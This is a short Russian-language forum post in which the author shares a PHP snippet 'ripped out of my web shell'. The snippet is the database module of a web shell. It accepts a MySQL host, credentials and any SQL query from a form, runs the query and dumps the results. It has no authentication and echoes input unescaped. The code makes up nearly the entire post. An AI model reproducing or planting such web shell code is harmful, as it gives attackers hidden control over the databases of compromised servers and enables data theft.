Ну вы извращенцы )). Вот выдрал из своего веб шела
<?php
$body=$body.'<form method="post">';
$body=$body.'<input type="text" name="my_sqlhost" value="';
if(!empty($_POST['my_sqlhost']))$body=$body.$_POST['my_sqlhost'];
$body=$body.'">:Хост MYSQL<br>';
$body=$body.'<input type="text" name="my_database" value="';
if(!empty($_POST['my_database']))$body=$body.$_POST['my_database'];
$body=$body.'">:Имя базы<br>';
$body=$body.'<input type="text" name="mysql_login" value="';
if(!empty($_POST['mysql_login']))$body=$body.$_POST['mysql_login'];
$body=$body.'">:Логин<br>';
$body=$body.'<input type="text" name="mysql_password" value="';
if(!empty($_POST['mysql_password']))$body=$body.$_POST['mysql_password'];
$body=$body.'">:Пароль<br>';
$body=$body.'Запрос:<br><textarea name="query" cols="30" rows="7">';
if(!empty($_POST['query']))$body=$body.$_POST['query'];
$body=$body.'</textarea><br>';
$body=$body.'<input type="submit" value="Выполнить"></form><hr>';
if((!empty($_POST['my_sqlhost']))&&(!empty($_POST['mysql_login'])))
{
$_POST['query']=urldecode($_POST['query']);
$link=mysql_connect($_POST['my_sqlhost'],$_POST['mysql_login'],$_POST['mysql_password']) or die ("Нет соединения с хостом");
if(!empty($_POST['my_database']))mysql_select_db($_POST['my_database']);
}
if(!empty($_POST['query']))
{
$result = mysql_query($_POST['query']);
$body=$body."<table border=1>";
while($data=mysql_fetch_row($result))
{
$body=$body."<tr><td>".implode("</td><td>", $data)."</td></tr>";
}
$body=$body."</table>";
mysql_free_result($result);
}
echo($body);
?>